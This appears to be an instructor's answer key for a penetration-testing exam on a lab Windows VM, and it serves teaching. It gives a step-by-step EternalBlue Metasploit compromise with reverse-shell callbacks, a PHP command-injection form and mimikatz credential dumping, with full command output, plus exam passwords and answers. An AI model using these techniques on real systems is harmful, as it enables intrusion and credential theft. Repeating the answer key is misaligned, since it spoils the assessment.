# Final Exam

## Scenario

This test is separated into three parts: (1) a practical portion, where you must exploit and gain access to a vulnerable virtual machine, (2) a series of knowledge-based multiple-choice questions accessible on Moodle, and (3) additional challenges to be completed following the compromise of the vulnerable machine.

**You will not be able to take the knowledge assessment unless you have the password. The password to unlock the knowledge assessment is documented in a file on the vulnerable virtual machine.**

## Directions

Follow these steps to complete the exercise:

1. Gain access to the vulnerable machine located at 192.168.229.144. Find the password to unlock the Knowledge-Based portion of this assessment. (20%)

The students may take different approaches to find vulnerabilities with the provided VM. Some may use Nessus or OpenVAS, or some may just use Nmap. Ultimately, it does not matter *how* the student infiltrated the machine, but only *if they did*.

The recommended route is using the nmap command. Since the student does not need to be stealthy or be concerned with the amount of noise they make on the network, they can use the -A command. This tells nmap to do “aggressive scanning,” with script scanning OS fingerprinting, version detection and more. The results of that scan will look like the following:

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-14 14:18 EDT

Nmap scan report for 192.168.229.144

Host is up (0.00037s latency).

Not shown: 981 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd 0.9.41 beta

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|\_Can't get directory listing: TIMEOUT

|\_ftp-bounce: bounce working!

| ftp-syst:

|\_ SYST: UNIX emulated by FileZilla

53/tcp open domain?

| fingerprint-strings:

| DNSVersionBindReqTCP:

| version

|\_ bind

80/tcp open http Apache httpd 2.4.38 ((Win64) OpenSSL/1.1.1b PHP/7.3.2)

|\_http-server-header: Apache/2.4.38 (Win64) OpenSSL/1.1.1b PHP/7.3.2

|\_http-title: ForeverBlue: Window Cleaning Services

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-03-14 18:18:41Z)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: corp.avengers.com, Site: Default-First-Site-Name)

445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: CORP)

464/tcp open kpasswd5?

593/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: corp.avengers.com, Site: Default-First-Site-Name)

3269/tcp open tcpwrapped

49154/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0

49158/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

49163/tcp open msrpc Microsoft Windows RPC

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port53-TCP:V=7.70%I=7%D=3/14%Time=5C8A9B07%P=x86\_64-pc-linux-gnu%r(DNSV

SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\

SF:x04bind\0\0\x10\0\x03");

MAC Address: 00:0C:29:3F:E6:60 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Microsoft Windows 2012

OS CPE: cpe:/o:microsoft:windows\_server\_2012:r2

OS details: Microsoft Windows Server 2012 or Windows Server 2012 R2

Network Distance: 1 hop

Service Info: Host: WIN-K8OQ7ABU01U; OS: Windows; CPE: cpe:/o:microsoft:windows

This returns a lot of open ports and information; hopefully so much the student is a bit overwhelmed. Looking through this output carefully will help the student orient themselves and determine which ports and services they could access and potentially use to their advantage.

The first open port listed is TCP port 21, running a File Transfer Protocol (FTP) service. According to the banner grab, the software is “FileZilla 0.9.41 beta.” **This service is intentionally placed there for the practical exam to assist the student in gaining access to the machine, if they explore this route.** If the student analyzes the lines following this entry, they should notice that Nmap determined “Anonymous login is allowed.” Unfortunately, nmap was not able to list the contents of the directory in its scan, so this may tip off the student to go explore.

The next noted port is TCP port 53, which is peculiar because the DNS service typically runs on port 53 UDP, not TCP. (The protocol does in fact use TCP if the packets being sent are too large!) This might interest the student, but it is not immediately necessary for initial access. The fact that the DNS service is potentially running, however, is useful information for the later challenges and once the student gets on the machine.

TCP port 80 is open, which means there is an accessible HTTP service and web server. Given from the nmap scripts, it is determined to be Apache 2.4.38 and it is even running PHP 7.3.2. This should be valuable information to the student, considering they have seen PHP throughout the course. The student should recognize this and view the website in a web browser. One detail the nmap scan shows is the title of webpage – ForeverBlue: Window Cleaning Services.

The remaining open ports are Windows Active Directory and domain controller bloat, but the valuable ones to notice are TCP port 135 and TCP port 445. These ports indicate the server makes the “Server Message Block” protocol open and accessible. This is typically used to provide access to printers as well as shared folders and files. In recent news, this protocol has fallen victim to the WannaCry attack and been abused by what is coined as the “EternalBlue” exploit.

The results of the nmap scan clearly indicate this is a Windows box, specifically Windows Server 2012 R2 (displayed by port 445). In the previous days of the course, the students had been working with a Linux machine to gain remote code execution, create a reverse shell connection, and escalate their privileges. The only time they have worked with exploiting a Windows machine was during the Metasploit segment, and observant students might be reminded of the EternalBlue exploit.

Students should begin to explore the services, but they can of course view them in any order they would like. They could potentially access the FTP service with `ftp 192.168.229.144`. Because anonymous login is enabled, they can simply login with the username `anonymous` and enter no password.

root@kali:~# ftp 192.168.229.144

Connected to 192.168.229.144.

220-FileZilla Server version 0.9.41 beta

220-written by Tim Kosse (Tim.Kosse@gmx.de)

220 Please visit http://sourceforge.net/projects/filezilla/

Name (192.168.229.144:root): anonymous

331 Password required for anonymous

Password:

230 Logged on

Remote system type is UNIX.

If the students view the current directory (run the `ls` command), they should find a file news\_report.txt. If they `get` that file and view the contents, it should make a hint towards Metasploit in some silly and masked information.

\*\*\* BREAKING NEWS \*\*\*

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

HACKERS have been breaking into computers at an alarming rate, and it makes us Wanna cry. We asked our local security expert, King Arthur, what his take is on these recent infiltrations.

"It is I, Arthur, son of Uther Pendragon, from the castle of Camelot. King of the Britons, defeater of the Saxons, Sovereign of all England! This is my trusty servant Patsy. We have ridden the length and breadth of the land in search of knights who will join me in my court at Camelot. I must speak with your lord and master."

Arthur claimed to have no knowledge of computers, but at the mention of Metasploit, he loudly exclaimed: "Now stand aside, worthy adversary!"

"Is there anywhere in this town where we could buy a shrubbery?"

This is all the students will uncover from the FTP service. It is only a hint to use Metasploit, which is the intended solution to this practical exam. All of the services should point to the use of the EternalBlue exploit with msfconsole, though the password for the Moodle Knowledge-based exam can be found through the website alone.

When a student accesses the website, they will be greeted with the landing page for “ForeverBlue: Tomorrow’s Windows, Today!” The page is intentionally riddled with improper grammar and random capitalizations (this is purposeful to hint towards “Windows”). The text contains language like “always available, always accessible, open 24x7”, with a tip of the hat to the WannaCry virus and indications for “SMB”. If the student does not recognize the references to EternalBlue, they potentially may Google and research for “foreverblue windows” or “foreverblue exploit” and they will lead them to the right conclusion. Ideally there are plenty of breadcrumbs to still guide the students in the right direction, and this is material that they have learned as part of the course.

If a student visits any of the pages displayed on the website, they will be directed to a page that informs them that the company no longer puts information online. There is a form where a student may “submit their phone number” so they can be contacted by the organization… but this input is passed to the PHP system() function and allows for remote code execution.

The input vector only allows one command to be run at a time, so it is not as convenient as a reverse shell. Because the machine is running Windows, it is not as easy to create a callback connection: netcat is not available on the box, nor is Python or other potentially useful tools. This does not completely disable the student from exploring the file system and finding the password to unlock the Knowledge-based test in Moodle.

The password to unlock the Knowledge-based exam is present in **C:\Users\administrator\Desktop\knowledge\_test.txt**

The password to unlock the Test #4 Knowledge Exam in Moodle is as follows: WeAreTheKnightsWhoSayNi:km.pb.av.ts.km.ed.jk.rh.jh.ce.rt.bc.jg.df.jc.al.jh.kb.dd.jb.tb.

Interacting with the web form may be inconvenient because the students will still be using Windows cmd.exe commands, which they may not be as familiar with. They cannot change directories with the `cd` command because the process that runs in the background is *solely* one command – it will not maintain its state like a shell would. They can only explore the filesystem by using the `dir` command with a path as an argument. While this is annoying, it is not impossible, and the students could find the files they are looking for in the Administrator’s desktop.

The intended solution is to use an EternalBlue exploit, offered as a module within Metasploit. Without any explicit guidance, the student should know to `search eternalblue` within msfconsole and work with the given results. Only the results indicated as an “exploit” will return a shell.

exploit/windows/smb/ms17\_010\_eternalblue

exploit/windows/smb/ms17\_010\_psexec

The first option can be selected, set the target IP address, and ran, but initially it should fail:

msf > use exploit/windows/smb/ms17\_010\_eternalblue

msf exploit(windows/smb/ms17\_010\_eternalblue) > set RHOST 192.168.229.144

RHOST => 192.168.229.144

msf exploit(windows/smb/ms17\_010\_eternalblue) > run

[\*] Started reverse TCP handler on 127.0.0.1:4444

[\*] 192.168.229.144:445 - Connecting to target for exploitation.

[+] 192.168.229.144:445 - Connection established for exploitation.

[!] 192.168.229.144:445 - Target OS selected not valid for OS indicated by SMB reply

[!] 192.168.229.144:445 - Disable VerifyTarget option to proceed manually...

[-] 192.168.229.144:445 - Unable to continue with improper OS Target.

[\*] Exploit completed, but no session was created.

msf exploit(windows/smb/ms17\_010\_eternalblue) >

This is a hurdle for the students. They may be discouraged, assume it will not work, and struggle. Ideally they will persist: they could either (1) read the error and try to resolve the problem or (2) move onto another exploit. Ultimately, the other exploit is the better attack path.

Following the first route, according to the error message they simply need to turn off the VerifyTarget parameter. They might find this in the `show advanced options` output, if they were to explore that.

msf exploit(windows/smb/ms17\_010\_eternalblue) > set VerifyTarget false

VerifyTarget => false

msf exploit(windows/smb/ms17\_010\_eternalblue) > run

[\*] Started reverse TCP handler on 192.168.192.175:4444

[\*] 192.168.229.144:445 - Connecting to target for exploitation.

[+] 192.168.229.144:445 - Connection established for exploitation.

. . .

The attack may not work initially, but this exploit will try again until it succeeds. The student may need to `run` the exploit more than once to have a meterpreter session returned – they should be confident the attack *will* work because of the successful overwrites and displayed debugging information. It may take a few tries, but this attack *has been seen* to return a meterpreter session. **With that said, this route is less reliable than the other.**

Route 2: If the student switches to the other suggested exploit (exploit/windows/smb/ms17\_010\_psexec), this will also work – thankfully it will not need another variable set, but it may also need to be ran a few times until a meterpreter session is returned.

msf > use exploit/windows/smb/ms17\_010\_psexec

msf exploit(windows/smb/ms17\_010\_psexec) > set RHOST 192.168.229.144

RHOST => 192.168.229.144

msf exploit(windows/smb/ms17\_010\_psexec) > run

[\*] Started reverse TCP handler on 192.168.192.175:4444

[\*] 192.168.229.144:445 - Target OS: Windows Server 2012 R2 Standard 9600

[\*] 192.168.229.144:445 - Built a write-what-where primitive...

[+] 192.168.229.144:445 - Overwrite complete... SYSTEM session obtained!

[\*] 192.168.229.144:445 - Selecting PowerShell target

[\*] 192.168.229.144:445 - Executing the payload...

[+] 192.168.229.144:445 - Service start timed out, OK if running a command or non-service executable...

[\*] Sending stage (179779 bytes) to 192.168.229.144

[\*] Meterpreter session 1 opened (192.168.192.175:4444 -> 192.168.229.144:51826) at 2019-03-15 14:16:33 -0400

meterpreter >

**If a student feels like they absolutely cannot get a meterpreter callback, suggest to them they try an alternative approach (the other routes described here) or restart the virtual machine in VMware as a last resort.**

When the student successfully has a meterpreter session, they can navigate around the box freely and perform whatever post-exploitation operations they would like. If the student were to run `getuid`, they would find they are running as NT AUTHORITY\SYSTEM and have full control over the box. The students *should* examine the C:\Users\ directory to see the available users and their files.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > cd C:/Users

meterpreter > ls

Listing: C:\Users

=================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

40777/rwxrwxrwx 0 dir 2013-08-22 10:48:41 -0400 All Users

40555/r-xr-xr-x 8192 dir 2014-03-18 06:23:59 -0400 Default

40777/rwxrwxrwx 0 dir 2013-08-22 10:48:41 -0400 Default User

40555/r-xr-xr-x 4096 dir 2013-08-22 11:39:32 -0400 Public

40777/rwxrwxrwx 8192 dir 2019-03-14 14:33:28 -0400 administrator

40777/rwxrwxrwx 0 dir 2019-03-13 11:52:24 -0400 cbarna

100666/rw-rw-rw- 174 fil 2013-08-22 11:37:57 -0400 desktop.ini

40777/rwxrwxrwx 8192 dir 2018-06-22 18:43:10 -0400 student

meterpreter >

Upon seeing the Administrator account, they should navigate to the Administrator’s Desktop and find the password to the Moodle Knowledge-Based test.

meterpreter > ls

Listing: C:\Users\administrator\Desktop

=======================================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

40777/rwxrwxrwx 4096 dir 2019-03-14 14:34:32 -0400 challenges

100666/rw-rw-rw- 282 fil 2018-06-25 08:35:14 -0400 desktop.ini

100666/rw-rw-rw- 171 fil 2019-03-13 09:45:01 -0400 knowledge\_test.txt

meterpreter >

**This completes the initial practical portion of the final exam.**

1. Answer each multiple-choice question to the best of your ability. (60%)
2. Solve the challenges present on the vulnerable machine and submit them as part of the Moodle Knowledge-Based exam. (20%)

When the student has compromised the vulnerable machine and they have found the password to unlock the Knowledge-Based exam in C:\Users\Administrator\Desktop, they should also find a `challenges` directory. Inside that folder are the files necessary to answer the extra questions as part of the Moodle exam.

meterpreter > cd challenges

meterpreter > ls

Listing: C:\Users\administrator\Desktop\challenges

==================================================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100666/rw-rw-rw- 91 fil 2019-03-14 14:34:22 -0400 challenge\_1.txt

100666/rw-rw-rw- 53 fil 2019-03-14 14:33:38 -0400 challenge\_2.txt

100666/rw-rw-rw- 99 fil 2019-03-14 14:35:50 -0400 challenge\_3.txt

100666/rw-rw-rw- 89281 fil 2019-03-13 12:01:46 -0400 w2\_encrypted.pdf

meterpreter >

When the student has compromised the vulnerable machine and they have found the password to unlock the Knowledge-Based exam in C:\Users\Administrator\Desktop, they should also find a `challenges` directory. Inside that folder are the files necessary to answer the extra questions as part of the Moodle exam.

Challenge #1 asks: What is the full name (first and last) of the individual whose W2 Form you exfiltrated?

This challenge references the `w2\_encrypted.pdf` file present in that directory. The student can download this file using the `download` command in meterpreter (this would be much more difficult if the student only discovered the RCE vector on the webform).

If the student downloads and attempts to open this file with a PDF viewer (on Kali Linux), they will find that it is password-protected! The challenge now becomes determining the password for this individual’s PDF form. If the student had done thorough enumeration and was very observant when they looked at the available users on this box, they would have noticed the other account: cbarna.

On his desktop, they can find a note:

meterpreter > cd C:/Users/cbarna/Desktop

meterpreter > ls

Listing: C:\Users\cbarna\Desktop

================================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100666/rw-rw-rw- 202 fil 2019-03-15 14:29:12 -0400 NOTES.txt

meterpreter > cat NOTES.txt

Boss gave us our W2 forms digitally, but I didn't want to email it back to myself without encrypting it first!

In case I forget, here is a reminder for the password I set: U2VjdXJlUGFzc3dvcmQwOTg=

meterpreter >

The students should recognize this password is encoded in Base64, because of the random numbers, capitalizations, and trailing equal sign. The students may decode this with an online tool, or they may use Python or just the command-line utility on Kali. Regardless, they should decode the string to determine the password to be: SecurePassword098

The student can then open the PDF file, and determine the first name and last name of the individual on the W2 Form to be: **Connor Barna**.

Challenge #2 asks: What is the CORP domain Administrator's password?

This challenge again requires a meterpreter session and could not be done very easily with just the RCE vector on the website. The students should recognize that they need to retrieve credentials, so they should use Mimikatz or Kiwi (Mimikatz 2.0).

Truth be told, Mimikatz itself will *not* find the administrator password… *only* Kiwi will. Students will need to be persistent, determined, and know to try different tools. Additionally, Kiwi will not be able to find passwords with only the memory available to it in the current process.

meterpreter > load kiwi

Loading extension kiwi...

.#####. mimikatz 2.1.1 20170608 (x86/windows)

.## ^ ##. "A La Vie, A L'Amour"

## / \ ## /\* \* \*

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)

'#####' Ported to Metasploit by OJ Reeves `TheColonial` \* \* \*/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.

meterpreter > creds\_all

[+] Running as SYSTEM

[\*] Retrieving all credentials

meterpreter >

No results will be displayed if the student just tries to`load kiwi` and run `creds\_all`. The student must migrate to another, higher-order process that was started earlier on the computer. Good candidates for this are usually `explorer.exe`, `wininit.exe`, or `winlogin.exe`. The student will need to run `ps` to see the running processes and migrate to a much more valuable process.

meterpreter > ps

Process List

============

PID PPID Name Arch Session User

--- ---- ---- ---- ------- ----

0 0 [System Process]

4 0 System x64 0

212 4 smss.exe x64 0

312 304 csrss.exe x64 0

372 360 csrss.exe x64 1

380 304 wininit.exe x64 0 NT AUTHORITY\SYSTEM

408 360 winlogon.exe x64 1 NT AUTHORITY\SYSTEM

468 380 services.exe x64 0

476 380 lsass.exe x64 0 NT AUTHORITY\SYSTEM

meterpreter > migrate 380

[\*] Migrating from 3068 to 380...

[\*] Migration completed successfully.

meterpreter >

The migration may sometimes fail. Again, the students must be persistent and try again… they are running as the NT AUTHORITY\SYSTEM account, so they should have full control over the machine. If it is necessary, try to migrate again and again or run the exploit once more if it seems necessary.

Once the student has migrated to a valuable process, they can successfully run `creds\_all`.

meterpreter > creds\_all

[+] Running as SYSTEM

[\*] Retrieving all credentials

wdigest credentials

===================

Username Domain Password

-------- ------ --------

(null) (null) (null)

Administrator CORP Test4practical1337!

WIN-K8OQ7ABU01U$ CORP 29 8a b1 97 30 21 5f 1d aa 25 d3

They can determine the plaintext password of the Administrator account to be **Test4practical1337!**

Challenge #3 asks: What is the secret word hidden in this server's DNS TXT record, for the zone "foreverblue.com"?

This challenge requires the same persistence and knowledge of other tools and techniques as the other previous challenges. The students may be inclined to use the `dig` command to view the records from this DNS server, with a syntax like so: `dig -t any @192.168.229.144 foreverblue.com`. Unfortunately, the Microsoft DNS Server has a bug where it will return a FRAMERR (frame error response) if it sees requests that include a DNS cookie. The later releases of the dig utility, 9.11 and onward, use cookies *by default*. Without any external resources or very pointed research, the students will not be able to find the solution to this challenge by using the `dig` command.

The students may recall, however, that the nslookup command will request DNS records as well. The students will need to specify the correct arguments, but they can retrieve the answer by using the right syntax:

root@kali:~# nslookup

> server 192.168.192.188

Default server: 192.168.192.188

Address: 192.168.192.188#53

> set type=TXT

> foreverblue.com

Server: 192.168.192.188

Address: 192.168.192.188#53

foreverblue.com text = "You found me! The secret word is: \"resolutionary\""

The secret word hidden in the TXT record is: resolutionary.

## Report

You are not required to follow a strict or standard format for a mission report, however, you must offer *thorough* explanations to the following questions. These act as guidelines to offer ideas and information that you would ensure to include in a formal report. **Please respond to each of these questions in long form (2 to 4 paragraphs). Include screenshots and your findings from running tools or scans.**

These noted “solutions” in a vague “rubric” do not include the potential discussion of the follow-up challenges, suggested in Question #3 after the student has compromised the machine. If these are found and discussed, use your instructor discretion in grading but you may consider it as bonus credit.

1. What services are running on the target? In what way do these services offer attack services?

For credit on this question, the student may:

* include the results of their nmap scan (and the command used) or OpenVAS results
* discuss FTP (port 21), its software name and version number, and discuss anonymous login
* discuss HTTP (port 80) and its running software name and version number
* discuss SMB (ports 135 & 445) and its ease of exploitation (mention EternalBlue)
* explain that this target is specifically Windows Server 2012.

1. What artifacts or valuable information was discovered on the target, and how?

For credit on this question, the student may:

* discuss the possible anonymous login with FTP, and discuss the “news\_report.txt” file.
* include the contents of the “news\_report.txt” file
* explain this reference to Metasploit, and discuss what Metasploit offers as red team tool.
* discuss the website ‘ForeverBlue’, its EternalBlue reference & masked mentions of Windows
* discuss the oddities on the website with random grammar mistakes, arbitrary capitalizations

1. What methods of exploitation were feasible, and why?

For credit on this question, the student may:

* identify and discuss their used Metasploit module for the EternalBlue exploit
* include screenshots of their exploitation and access to the victim machine
* discuss the code execution capability on the website with the phone number form.
* Include screenshots of the code execution capability on the website.
* explain how the website code execution vulnerability allows complete control of the box

1. What impact would these attacks have on the target and organization?

For credit on this question, the student may:

* explain potential damage by FTP anonymous login (unauthorized access, information leakage, etc.)
* explain potential damage in remote code execution (use in a botnet, complete compromise, etc.)

1. What recommendations would you offer the target organization?

For credit on this question, the student may:

* suggest hardening and properly configuring publicly accessible services (FTP, HTTP, SMB,DNS)
* suggest updating and patching to the latest stable releases of key services (protect against EternalBlue)
* suggest adoption of a cybersecurity framework, like NIST
* suggest code reviews and audits on developed applications (like HTTP web server)

**These suggested guidelines are not all-encompassing. They are merely guidelines; use your instructor discretion to determine what deserves credit in your students reports and how thoroughly they wrote their responses.**

## Resources

You may use your notes and the Internet to aid you, if they are available to you.